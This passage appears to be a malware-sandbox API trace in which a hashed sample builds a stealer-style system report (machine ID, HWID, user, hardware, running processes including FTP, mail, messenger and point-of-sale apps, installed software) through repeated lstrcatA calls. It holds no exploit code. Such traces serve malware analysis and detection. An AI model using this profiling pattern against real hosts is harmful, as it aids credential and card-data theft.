gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001"
[0054.972] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]"
[0054.972] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- 